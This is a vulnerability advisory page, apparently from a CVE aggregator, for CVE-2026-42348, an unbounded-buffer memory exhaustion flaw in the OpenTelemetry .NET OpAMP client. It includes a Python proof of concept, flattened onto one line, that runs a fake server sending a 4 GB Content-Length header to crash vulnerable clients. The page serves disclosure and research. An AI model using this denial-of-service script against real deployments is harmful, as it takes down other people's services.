Security Vulnerability Report
中文
CVE-2026-42348 CVSS 5.9 MEDIUM

CVE-2026-42348

Published: 2026-05-12 18:17:25
Last Modified: 2026-05-13 18:16:44

Description

OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET. Prior to 0.2.0-alpha.1, when receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response. This vulnerability is fixed in 0.2.0-alpha.1.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

OpenTelemetry.OpAmp.Client < 0.2.0-alpha.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # This script simulates a malicious OpAMP server # It sends an HTTP response with an extremely large Content-Length # to trigger the unbounded buffer allocation vulnerability. def malicious_opamp_server(): host = '0.0.0.0' port = 4320 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(1) print(f"[+] Malicious OpAMP server listening on {port}...") conn, addr = server_socket.accept() print(f"[+] Connection from {addr}") # Simulate a huge payload size (e.g., 4GB) # The vulnerable client will try to allocate this amount of memory malicious_size = 4 * 1024 * 1024 * 1024 # Craft HTTP response headers response_header = ( f"HTTP/1.1 200 OK\r\n" f"Content-Type: application/x-protobuf\r\n" f"Content-Length: {malicious_size}\r\n" f"\r\n" ).encode() try: # Send headers conn.sendall(response_header) print("[+] Malicious headers sent. Waiting for client to process...") # In a real exploit, you might start sending garbage data here # or just keep the connection open while the client tries to allocate memory. # Sending a small chunk to trigger the read logic: conn.sendall(b"A" * 1024) except Exception as e: print(f"[-] Error: {e}") finally: conn.close() if __name__ == "__main__": malicious_opamp_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42348", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:24.700", "lastModified": "2026-05-13T18:16:44.010", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET. Prior to 0.2.0-alpha.1, when receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response. This vulnerability is fixed in 0.2.0-alpha.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4116", "source": "[email protected]"}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/security/advisories/GHSA-w2jh-77fq-7gp8", "source": "[email protected]"}]}}